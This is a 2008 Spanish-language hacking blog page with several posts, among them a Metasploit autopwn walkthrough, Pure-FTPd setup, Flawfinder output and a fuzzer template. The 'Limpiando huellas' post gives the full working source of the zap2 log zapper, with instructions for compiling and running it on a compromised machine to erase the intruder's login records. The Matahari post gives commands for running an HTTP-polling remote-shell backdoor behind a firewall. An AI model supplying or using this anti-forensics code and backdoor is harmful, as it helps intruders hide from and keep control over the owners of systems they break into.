Back Track World 2008

Ethical Hacking

Como usar el Metasploit Framework 3 en linux “Por RooT@Aquiles:~#”

Bueno antes de nada esta “suite” está diseñada para realizar distintos tipos de ataques, esta herramienta es tan grande y complicada que solo veremos un ataque automatizado que es como lo mejor que aparentemente tiene, se llama auto_pwn o ninja como por ahi dicen.

Bueno lo primero es abrir “msfconsole”, para ello nos vamos a la carpeta “/pentest/exploits/framework3”

y ejecutamos msfconsole:

Ya ireis viendo que tiene muchisimas opciones, hoy os enseñaré como funciona autopwn o ninja.

Primero tendremos que crear una base de datos donde guardemos toda la información del objetivo.

Para ello tenemos que cargar el módulo con el comando load db_sqlite3

Una vez tenemos cargado el módulo, debemos crear una base de datos y conectarnos a ella, para eso utilizamos el comando “db_create aquiles” por ejemplo.

Luego crea la base y se conecta a ella

Ahora es cuando llega lo bueno, tenemos que rellenar de algúna manera la base de datos que acabamos de crear, utilizaremos nmap para realizar un análisis del objetivo y que este sea guardado en nuestra base, lo haremos con este comando:

Ya tenemos todo para poder comenzar con ninja, solo tenemos que elegir que opciones nos interesan mas, es cuestión de entenderlas y que pueden hacer.

Para este ejemplo utilizaré estas opciones

Ahora es cuando metasploit framework está lanzando todos los exploits contra el objetivo, en este ejemplo no existe vulnerabilidad, como dice en la mitad de la imágen: “Analysis completed in tal (0 vulns /0 refs)”

Podríamos sacar de esta práctica que el 192.168.1.65 tiene sus puertos parcheados y no es posible la entrada.

Es muy util a la hora de comprobar rapidamente todos los puertos y servicios que corren dentro de una red con muchos equipos.

Muchas gracias, espero que os ayude, si tenéis dudas o ideas pues comentarlo.

Un saludo!

Fuente –> El Divino Aquiles

septiembre 12, 2008 Posted by | Auditorias, Exploits, Penetración, Vulnerabilidades | 3 comentarios

Detectar vulnerabilidades en C y C++ con Flawfinder

Hacer funcionar flawfinder

Hacer funcionar flawfinder es tan sencillo como invocar el comando con el directorio o los nombres de los archivos que se van a procesar. Si se indica un directorio, se procesarán todos los archivos que se encuentren y que se reconozcan como archivos fuente en ese directorio.

Además de proporcionar al programa una lista de archivos o directorios, hay varias opciones de la línea de comandos que se utilizan para controlar el comportamiento de las herramientas.

Las opciones se explican al detalle en la página del manual, pero hay opciones particularmente útiles que usaremos en el ejemplo:

  • –minlevel=X
    • Define como X el nivel mínimo de riesgo para que se incluya en la salida. El rango válido es de 1 a 5, siendo 1 «bajo riesgo» y 5 «alto riesto».
  • –html
    • Formatea la salida como HTML en lugar de como texto sencillo.
  • –context
    • Muestra el contexto, por ejemplo, la línea que tiene la potencial debilidad.

Para producir un archivo HTML con el resultado de nuestro programa, teniendo en cuenta sólo las funciones de «alto riesgo», tendríamos que teclear algo como esto:

flawfinder --html --context --minlevel=4 test.c > output.html

El resultado

Al hacer funcionar flawfinder sobre nuestro código de ejemplo, se produce la siguiente salida (Nota del traductor: se mantiene la salida literal del comando, que es en inglés):


Examining test.c

  • test.c:18: [4] (buffer) strcpy: Does not check for buffer overflows when copying to destination. Consider using strncpy or strlcpy (warning, strncpy is easily misused).
          strcpy( dir, argv[ 1 ] );
  • test.c:24: [4] (buffer) sprintf: Does not check for buffer overflows. Use snprintf or vsnprintf.
    	sprintf( dir, "%s", getenv( "HOME" ) );
  • test.c:33: [4] (shell) popen: This causes a new program to execute and is difficult to use safely. try using a library call that implements the same functionality if available.
        fp = popen( cmd, "r" );
  • test.c:42: [4] (format) printf: If format strings can be influenced by an attacker, they can be exploited. Use a constant for the format specification.
          printf( buff );

Number of hits = 4
Number of Lines Analyzed = 48 in 0.53 seconds (1392 lines/second)


Comprender la salida

Al igual que ocurría con la salida de RATS, este informe es es muy fácil de leer. Muestra claramente las funciones que se han detectado como potencialmente peligrosas, así como la descripción del problema.

También es muy útil la inclusión de información de contexto, porque así se concentra la atención inmediatamente sobre los puntos de interés y se evita considerar otros que no son tan válidos.

El análisis del código de nuestro ejemplo es bastante inteligente, puesto que no avisa de todas las funciones strcpy problemáticas, sino sólo de la que piensa que podría ser potencialmente peligrosa.

De esta forma, ha conseguido resaltar todas las debilidades de nuestro código sin dar lugar a falsos positivos.

Fuente –> Debian

septiembre 12, 2008 Posted by | Vulnerabilidades | Deja un comentario

Exploits Vulnerabilidades Shellcodes Videos… todo en Milw0rm

milw0rm

Milw0rm, una página que alberga en su interior una enorme cantidad de exploits para aprovechar todas las vulneraibilidades existentes.

Una web muy curiosa donde se pueden aprender grandes cosas.

Un saludo

septiembre 12, 2008 Posted by | Backdoors, Exploits, Penetración, Vulnerabilidades | Deja un comentario

Montando un servidor FTP “Pure-FTPd” en Linux

Introducción

Pure-FTPd es un servidor FTP libre (GPL) basado en Troll-FTPd. Fue modificado por Frank Dennis por razones de seguridad y funcionalidad.

Los principales objetivos de este servidor FTP son la eficiencia, la seguridad y la facilidad de uso. Está diseñado para ser seguro en su configuración por defecto; no tiene buffer overflows conocidos y es muy sencillo de instalar. Ha sido diseñado para los kernels modernos, y ha sido portado con éxito a Linux, FreeBSD, NetBSD, OpenBSD, BSDi, Solaris, Darwin, Tru64, Irix y HPUX.

Compilación e instalación de Pure-FTPd

Lo primero de todo será bajarnos el último fuente, actualmente es la versión 1.0.12. El fichero a bajar será pure-ftpd-1.0.12.tar.gz.

Una vez bajado haremos lo de siempre:

% tar zxvf pure-ftpd-1.0.12.tar.gz
% cd pure-ftpd-1.0.12
% ./configure --with-puredb --with-throttling --with-language=spanish --with-ftpwho
% make
–with-puredb Nos permite crear usuarios virtuales para el FTP.
–with-throttling Para poder limitar el ancho de banda.
–with-language=spanish Soporte en castellano de los mensajes del servidor.
–with-ftpwho Nos permite ver quien está conectado.

Ahora nos hacemos root con el comando su para poder realizar la instalacio’n en el sistema:

# make install

Ya tenemos instalado pure-ftpd. Ahora nos falta lo más importante, que es la configuración y la puesta en marcha.

Configuración y puesta en marcha

pure-ftpd es configurable a través de la linea de comandos, es decir, a la hora de arrancar el servidor le pasamos como parámetros las opciones que queramos.

Tenemos también otra opción que es editar el fichero /etc/pureftpd.conf, y con el script pure-config.pl que acompaña el programa.

Opciones disponibles

# /usr/local/sbin/pure-ftpd <opciones>
-A chroot para todos los usuarios. No pueden salir del directorio del FTP.
-c 10 10 conexiones máximas al FTP.
-B Ejecutar en segundo plano.
-C 2 Permitir solamente 2 conexiones para una misma IP.
-d Verbose log.
-E No permitir usuario anonymous.
-f ftp Logear a través de syslog.
-H No resolver IP.
-I 15 Si el usuario está 15 minutos inactivo, es desconectado
-L 2000:8 Límite de recursividad.
-m 3 Máxima carga por encima de la cual el servidor deja de funcionar.
-s Antiwarez.
-U 133:022 umask
-u 100 minuid
-k 90 Se podrá usar como máximo el 90% de la partición.
-lpuredb:/etc/pureftpd.pdb Usaremos usuarios virtuales de FTP en vez de cuentas reales del sistema.
-S hostname_o_ip,puerto Escuchamos en el puerto especificado de esa IP o Hostname, si el equipo tiene varias IPs.

*Nota: Para acceder a la lista completa de opciones pulse aquí.

Manejo de usuarios

Antes de nada añadiremos a nuestro sistema un usuario y grupo llamado ftp.

Se recomienda utilizar usuarios virtuales en lugar de cuentas del sistema, por eso hemos habilitado la opción AUTH (-lpuredb:/etc/pureftpd.pdb). Para manejar los usuarios, utilizaremos la herramienta pure-pw.

Por ejemplo, si queremos añadir al usuario pepe, lo haremos de la siguiente forma:

# pure-pw useradd pepe -u ftp -g ftp -d /home/ftp/pepito -t 5 -T 10
Password:
# pure-pw mkdb
-u <userid> User ID
-g <gid> Group ID
-d <directorio> Directorio al que tiene acceso el usuario
-t 5 5 Kb/s de límite de ancho de banda de bajada
-T 10 10 Kb/s de límite de ancho de banda de subida

Una vez introducido el password, lo siguiente que hemos hecho ha sido actualizar la base de datos /etc/pureftpd.pdb para que los cambios surtan efecto.

Para eliminar y modificar usuarios usaremos respectivamente las opciones userdel y usermod de la herramienta pure-pw. El manejo es muy intuitivo y sencillo, así que con la ayuda en linea del propio programa es suficiente.

Configuración de Ratios

Aunque personalmente odie los ratios, no por eso voy a dejar de explicar como usarlos con pure-ftpd.

Los ratios se usan para obligar a los usuarios a dejar algún fichero de X megas en el FTP para poder bajar Y megas. Para activar los ratios usaremos la opción -q X:Y (upload:download).

Banners y mensajes de bienvenida

Si en el directorio raíz del ftp grabamos un fichero de nombre .banner, de tamaño no superior a 4000 bytes, éste será impreso por pantalla cuando el usuario acceda al FTP. En cada directorio tambien podemos grabar un fichero .message para que sea impreso cada vez que el usuario accede al directorio.

Permitiendo Uploads

La problemática del directorio upload es que, al tener permiso de escritura, en principio los usuarios pueden borrar los ficheros, usar el directorio para intercambiar warez, etc. Esto lo podemos evitar estableciendo permisos de escritura y ejecución al directorio pero no de lectura (drwx-wx-wx), con chmod 333.

Otra posibilidad es arrancar el servidor pure-ftpd con la opcion -U 777:777, de forma que los ficheros que suban los usuarios tendrán permisos ———-. De esta forma no podrán ser descargados.

Fuente –> Linux Data

Autor: Francisco Gaytán Muñoz.

septiembre 11, 2008 Posted by | Misc | 2 comentarios

Snort Detectando intrusos

the de facto standard in IPS Snort es un sistema de intrusión y detección de intrusos en redes informaticas, es un programa de código abierto muy potente, usado tanto domésticamente como en el ámbito de seguridad empresarial.

Es gratuito y podéis descargarlo de su página oficial.snort.org

septiembre 10, 2008 Posted by | Misc | Deja un comentario

Limpiando huellas

https://i1.wp.com/img.xataka.com/2007/12/huella.jpg Esto lo vamos a hacer con un zapper , un zapper es un programa que al ejecutarlo en la maquina remota limpia el log que queda guandado con todo lo que hicimos en la maquina victima.

Si no limpias la mugre que dejas estas ******, ya ke si el root revisa los logs vera tu IP y todo lo ke has hecho. Si te agarran despues no me digas que no avise.

Pero donde esta el probema de esto, y bueno les comento que el problema de esto es que para borrar lo que hiciste tenes que ser roort.

Los logs mas importantes son:

_ UTMP – Indika quien esta konectado en cada momento.

_ WTMP – Indica todas las entradas y salidas de la maquina victima indicando el tty y el host.

_ LASTLOG – Guarda un log indicando el momento exacto en el ce se konekto el usuario por ultima vez.

_ ACCT – Guarda todos los comandos ejekutados por los usuarios (aunke sin argumentos) y como los ponemos.

Me llevo casi 3 horas averiguar esto asi que me imagino que algun dia lo van a utilizar, si es que entran en algun ordenador alguna vez.

Estos logs estan ubicados en los siguientes directorios.

_ UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

_ WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

_ LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

_ ACCT : /var/adm/acct (en algunos sistemas se puede llamar pacct)

Esto varia de sistema en sistema.

Los zappers lo que hacen la mayoria es borrar el log acct , de esta forma estamos salvados de que nos agarren ya que sabran que estubimos dentro pero no pueden saber que hicimos. Por eso es bueno acompañarlo con algun metodo de anonimato que ya sabran.

Lo que voy a enseñar a usar es el zap2 un zapper que es muy fasil de detectar si es que se quiere, lo que hace este no borrar los logs sino dejarlos en 0 , y tampoco borra el acct pero tambien lo deja en 0 asi que no tendremos problemas graves, siempre y cuando no se manden una ****** grosa en la maquina y le den ganas al admin de saber quien fue. Le va a costar pero no va a ser tan fasil como dejarle el numero de documento en el log.

En este tuto vamos a matar 2 pajaros de un tiro. Uno es aprender a compilar exploits y otro aprender a ejecutarlos. Obvio que este es de uso local, es decir hay que ejecutarlo desde la shell del sistema que queremos limpiar.

Pasamos a crear el archivo zap2.c de esta forma.

[root@localhost phantomlord]# cat > zap2.c

————————copiamos el code————————-

Código:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}

————————————–termino zap2——————-

apretamos ctrl +z para terminar

[15]+ Stopped cat >zap2.c

[root@localhost phantomlord]#

Ahora lo compilamos

[root@localhost phantomlord]# gcc zap2.c -o zap2

El archivo compilado (programa) se va a llamar zap2

y ahora lo ejecutamos de esta manera.

[root@localhost phantomlord]# ./zap2

Listo…ya limpie la mierda…hdl rulez!

[root@localhost phantomlord]#

Como ven nos avisa si funciono o no quiero aclarar que se puede usar de las siguientes formas.

[root@localhost phantomlord]# ./zap2 nombreusuario

o simplemente

[root@localhost phantomlord]# ./zap2

Que borrara los logs del usuario que estemos usando en ese momento.

Espero que les sirva esto. Hasta la vista baby.

Phantom Lord.

Salu2

Fuente –> Hackersdelocos

Escrito por –> Phantom Lord

septiembre 9, 2008 Posted by | Misc | Deja un comentario

Matahari Backtrack 3

Es un script escrito en Python para mantener una básica shell remota en sistemas detrás de un firewall. El cliente adquiere comandos. El cliente consigue órdenes de vez en cuando sondeando al servidor y envía la salida atrás después de la ejecución de ellos. El tráfico atraviesa el cortafuegos como HTTP estándar saliente HTTP GET/POST requests. HTTP requests/responsesllevan la carga útil b64 codificado. El cifrado opcional es apoyado (y sumamente recomendado)

https://i1.wp.com/www.southwestchevy.com/images/milk_backdoors_large.jpg

Ejemplos

Supongamos que tienes un sistema objetivo ej: objetivo.foo.com detrás de un firewall y quieres ejecutar comandos desde un administrador admin.foo.com, sería lo siguiente:

  1. Ejecutar en la máquina objetivo:./matahari.py -c master.bar.com -T polite.Cercionate de mantener el proceson ejecutado siempre antes de  desconectar
  2. Ejecutar en cualquier momento en la maquina admin:./matahari.py -s target.foo.com

Más información en : http://matahari.sourceforge.net

septiembre 9, 2008 Posted by | Backdoors, Penetración | Deja un comentario

RPCDump en Backtrack 3

RPCDump es un programa el cual proporciona un acceso por consola a la RPC APis en Windows

https://i1.wp.com/noticiastech.com/wordpress/wp-content/uploads/2007/04/virus.jpg

Más información la podemos encontrar en: cultdeadcow

septiembre 9, 2008 Posted by | Penetración | Deja un comentario

GFI LanGuard 2.0 Backtrack 3

GFI LANguard Network Security Scanner (N.S.S.) comprueba tu red con todos los metodos que los hackers utilizan para atacar. Analizando el sistema operativo y los programas que estan ejecutandose, GFI LANguard N.S.S. identifica posibles agujeros de seguridad.

GFI

Mas información en: http://www.gfi.com/lannetscan/

septiembre 9, 2008 Posted by | Auditorias, Vulnerabilidades | 4 comentarios

Fuzzer 1.2 de Backtrack 3

El “Fuzzing” es un software automatico que testea técnicas que generan y envian secuencias de datos aleatorias a varias areas de una aplicación oara intentar encontrar vulnerabilidades.

Por ejemplo, cuando buscamos “buffers overflows” un testeados simplemente puede generar datos de varios tamaños y mandarlos a una aplicación para observar como la aplicación falla.

Ejemplo (string overflow):
fuzz.pl -host 192.168.1.2 -port 80 -type string -load template.txt

Creando el template:

Crea un archivo donde pongas cualquier petición o “request”, y el lugar donde quieres que el Fuzz inserte el tag <FUZZER>, si necesitas calcular el tamaño de los datos ej: como un POST request en un servidor HTTP usa los tags <COUNT>data<COUNT> and <SIZE> Deberá acabar como el siguiente:

POST /cgi-sys/FormMail.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: <SIZE>

<COUNT>recipient=test%40127.0.0.1&subject=Fuzzing&Name=test &email=test%40localhost& request=test<FUZZER>&redirect=/<COUNT>

Puedes usar valores hexadecimales como \x41 or 0x41 en la plantilla o “template” si el protocolo es binario.

Fuente –> Securityteam

Traducido por : Achilles

septiembre 9, 2008 Posted by | Vulnerabilidades | Deja un comentario